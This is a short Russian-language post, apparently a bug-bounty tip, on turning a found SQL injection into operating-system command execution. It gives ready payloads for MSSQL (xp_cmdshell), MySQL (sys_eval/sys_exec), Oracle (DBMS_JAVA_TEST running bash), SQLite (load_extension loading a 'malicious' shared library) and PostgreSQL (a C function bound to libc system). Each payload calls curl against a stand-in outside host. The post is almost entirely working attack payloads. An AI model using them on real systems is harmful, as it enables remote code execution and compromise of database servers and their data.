Нашли скулю? Не спешите сдавать — попробуйте повысить импакт.
Вот примеры для разных СУБД:
1️⃣ Microsoft SQL Server: метод
xp_cmdshell (требуются привилегии админа БД).EXEC xp_cmdshell 'curl https://example.com'
2️⃣ MySQL: методы
sys_eval или sys_exec (требуется установить или включить библиотеку User Defined Function).SELECT sys_eval(' curl https://example.com');
3️⃣ Oracle: функции Java.
SELECT DBMS_JAVA_TEST.FUNCALL ('oracle/aurora/util/Wrapper', 'main', '/bin/bash','-c','/bin/curl https://example.com') from dual
4️⃣ SQLite: метод
load_extension (необходимо включить расширения в конфигурации SQLite).UNION SELECT 1, load_extension('|lexample.com\malicious_extension.so', 'MainFuncCall');
5️⃣ PostgreSQL: сначала создайте или включите функцию, а затем используйте ее для выполнения команд.
CREATE OR REPLACE FUNCTION system(string) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('curl https://example.com');
